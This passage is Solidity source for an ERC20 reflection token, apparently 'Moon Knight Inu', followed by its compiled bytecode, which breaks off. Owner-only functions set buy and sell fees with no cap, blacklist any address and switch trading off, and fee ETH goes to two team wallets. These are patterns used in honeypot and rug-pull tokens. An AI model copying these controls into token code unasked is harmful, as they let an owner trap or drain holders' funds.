spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f33565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c919061337c565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9f565b610859565b6040516102599190613346565b60405180910390f35b34801561026e57600080fd5b50610277610877565b6040516102849190613361565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355e565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e50565b6108ad565b6040516102ec9190613346565b60405180910390f35b34801561030157600080fd5b5061030a610986565b604051610317919061355e565b60405180910390f35b34801561032c57600080fd5b5061033561098c565b60405161034291906135d3565b60405180910390f35b34801561035757600080fd5b50610360610995565b60405161036d919061332b565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dc2565b6109bb565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f74565b610aab565b005b3480156103d457600080fd5b506103dd610b5d565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dc2565b610c2e565b604051610413919061355e565b60405180910390f35b34801561042857600080fd5b50610431610c7f565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f9d565b610dd2565b005b34801561046857600080fd5b50610471610e71565b60405161047e919061355e565b60405180910390f35b34801561049357600080fd5b5061049c610e77565b6040516104a9919061332b565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f74565b610ea0565b005b3480156104e757600080fd5b506104f0610f52565b6040516104fd919061355e565b60405180910390f35b34801561051257600080fd5b5061051b610f58565b604051610528919061337c565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f9d565b610f95565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc6565b611034565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9f565b6110eb565b6040516105b79190613346565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dc2565b611109565b6040516105f49190613346565b60405180910390f35b34801561060957600080fd5b50610612611129565b005b34801561062057600080fd5b5061063b60048036038101906106369190612edb565b611202565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e14565b611362565b604051610671919061355e565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f9d565b6113e9565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dc2565b611488565b005b6106d461164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134be565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613898565b915050610764565b5050565b60606040518060400160405280600f81526020017f4d6f6f6e204b6e6967687420496e750000000000000000000000000000000000815250905090565b600061086d61086661164a565b8484611652565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108ba84848461181d565b61097b846108c661164a565b61097685604051806060016040528060288152602001613da560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092c61164a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a29092919063ffffffff16565b611652565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c361164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a47906134be565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab361164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b37906134be565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9e61164a565b73ffffffffffffffffffffffffffffffffffffffff161480610c145750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfc61164a565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b6000479050610c2b81612106565b50565b6000610c78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612201565b9050919050565b610c8761164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b906134be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dda61164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5e906134be565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea861164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c906134be565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f4d4b494e55000000000000000000000000000000000000000000000000000000815250905090565b610f9d61164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611021906134be565b60405180910390fd5b8060188190555050565b61103c61164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c0906134be565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110ff6110f861164a565b848461181d565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116a61164a565b73ffffffffffffffffffffffffffffffffffffffff1614806111e05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c861164a565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e957600080fd5b60006111f430610c2e565b90506111ff8161226f565b50565b61120a61164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e906134be565b60405180910390fd5b60005b8383905081101561135c5781600560008686858181106112e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f89190612dc2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135490613898565b91505061129a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f161164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611475906134be565b60405180910390fd5b8060178190555050565b61149061164a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611514906134be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115849061341e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b99061353e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611732576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117299061343e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611810919061355e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611884906134fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f49061339e565b60405180910390fd5b60008111611940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611937906134de565b60405180910390fd5b611948610e77565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b65750611986610e77565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da157601560149054906101000a900460ff16611a45576119d7610e77565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3b906133be565b60405180910390fd5b5b601654811115611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a81906133fe565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2e5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b649061345e565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c1a5760175481611bcf84610c2e565b611bd99190613694565b10611c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c109061351e565b60405180910390fd5b5b6000611c2530610c2e565b9050600060185482101590506016548210611c405760165491505b808015611c58575060158054906101000a900460ff16155b8015611cb25750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cca5750601560169054906101000a900460ff165b8015611d205750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d765750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9e57611d848261226f565b60004790506000811115611d9c57611d9b47612106565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e485750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f095760009050612090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcc57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120775750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208f57600a54600c81905550600b54600d819055505b5b61209c84848484612567565b50505050565b60008383111582906120ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e1919061337c565b60405180910390fd5b50600083856120f99190613775565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215660028461259490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612181573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d260028461259490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fd573d6000803e3d6000fd5b5050565b6000600654821115612248576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223f906133de565b60405180910390fd5b60006122526125de565b9050612267818461259490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122fa5781602001602082028036833780820191505090505b5090503081600081518110612338577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123da57600080fd5b505afa1580156123ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124129190612deb565b8160018151811061244c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b330601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611652565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612517959493929190613579565b600060405180830381600087803b15801561253157600080fd5b505af1158015612545573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257557612574612609565b5b61258084848461264c565b8061258e5761258d612817565b5b50505050565b60006125d683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282b565b905092915050565b60008060006125eb61288e565b91509150612602818361259490919063ffffffff16565b9250505090565b6000600c5414801561261d57506000600d54145b156126275761264a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265e876128ed565b9550955095509550955095506126bc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279d816129fd565b6127a78483612aba565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612804919061355e565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612872576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612869919061337c565b60405180910390fd5b506000838561288191906136ea565b9050809150509392505050565b600080600060065490506000670de0b6b3a764000090506128c2670de0b6b3a764000060065461259490919063ffffffff16565b8210156128e057600654670de0b6b3a76400009350935050506128e9565b81819350935050505b9091565b600080600080600080600080600061290a8a600c54600d54612af4565b925092509250600061291a6125de565b9050600080600061292d8e878787612b8a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a2565b905092915050565b60008082846129ae9190613694565b9050838110156129f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ea9061347e565b60405180910390fd5b8091505092915050565b6000612a076125de565b90506000612a1e8284612c1390919063ffffffff16565b9050612a7281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acf8260065461295590919063ffffffff16565b600681905550612aea8160075461299f90919063ffffffff16565b6007819055505050565b600080600080612b206064612b12888a612c1390919063ffffffff16565b61259490919063ffffffff16565b90506000612b4a6064612b3c888b612c1390919063ffffffff16565b61259490919063ffffffff16565b90506000612b7382612b65858c61295590919063ffffffff16565b61295590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ba38589612c1390919063ffffffff16565b90506000612bba8689612c1390919063ffffffff16565b90506000612bd18789612c1390919063ffffffff16565b90506000612bfa82612bec858761295590919063ffffffff16565b61295590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c265760009050612c88565b60008284612c34919061371b565b9050828482612c4391906136ea565b14612c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7a9061349e565b60405180910390fd5b809150505b92915050565b6000612ca1612c9c84613613565b6135ee565b90508083825260208201905082856020860282011115612cc057600080fd5b60005b85811015612cf05781612cd68882612cfa565b845260208401935060208301925050600181019050612cc3565b5050509392505050565b600081359050612d0981613d5f565b92915050565b600081519050612d1e81613d5f565b92915050565b60008083601f840112612d3657600080fd5b8235905067ffffffffffffffff811115612d4f57600080fd5b602083019150836020820283011115612d6757600080fd5b9250929050565b600082601f830112612d7f57600080fd5b8135612d8f848260208601612c8e565b91505092915050565b600081359050612da781613d76565b92915050565b600081359050612dbc81613d8d565b92915050565b600060208284031215612dd457600080fd5b6000612de284828501612cfa565b91505092915050565b600060208284031215612dfd57600080fd5b6000612e0b84828501612d0f565b91505092915050565b60008060408385031215612e2757600080fd5b6000612e3585828601612cfa565b9250506020612e4685828601612cfa565b9150509250929050565b600080600060608486031215612e6557600080fd5b6000612e7386828701612cfa565b9350506020612e8486828701612cfa565b9250506040612e9586828701612dad565b9150509250925092565b60008060408385031215612eb257600080fd5b6000612ec085828601612cfa565b9250506020612ed185828601612dad565b9150509250929050565b600080600060408486031215612ef057600080fd5b600084013567ffffffffffffffff811115612f0a57600080fd5b612f1686828701612d24565b93509350506020612f2986828701612d98565b9150509250925092565b600060208284031215612f4557600080fd5b600082013567ffffffffffffffff811115612f5f57600080fd5b612f6b84828501612d6e565b91505092915050565b600060208284031215612f8657600080fd5b6000612f9484828501612d98565b91505092915050565b600060208284031215612faf57600080fd5b6000612fbd84828501612dad565b91505092915050565b60008060008060808587031215612fdc57600080fd5b6000612fea87828801612dad565b9450506020612ffb87828801612dad565b935050604061300c87828801612dad565b925050606061301d87828801612dad565b91505092959194509250565b60006130358383613041565b60208301905092915050565b61304a816137a9565b82525050565b613059816137a9565b82525050565b600061306a8261364f565b6130748185613672565b935061307f8361363f565b8060005b838110156130b05781516130978882613029565b97506130a283613665565b925050600181019050613083565b5085935050505092915050565b6130c6816137bb565b82525050565b6130d5816137fe565b82525050565b6130e481613822565b82525050565b60006130f58261365a565b6130ff8185613683565b935061310f818560208601613834565b6131188161396e565b840191505092915050565b6000613130602383613683565b915061313b8261397f565b604082019050919050565b6000613153603f83613683565b915061315e826139ce565b604082019050919050565b6000613176602a83613683565b915061318182613a1d565b604082019050919050565b6000613199601c83613683565b91506131a482613a6c565b602082019050919050565b60006131bc602683613683565b91506131c782613a95565b604082019050919050565b60006131df602283613683565b91506131ea82613ae4565b604082019050919050565b6000613202602383613683565b915061320d82613b33565b604082019050919050565b6000613225601b83613683565b915061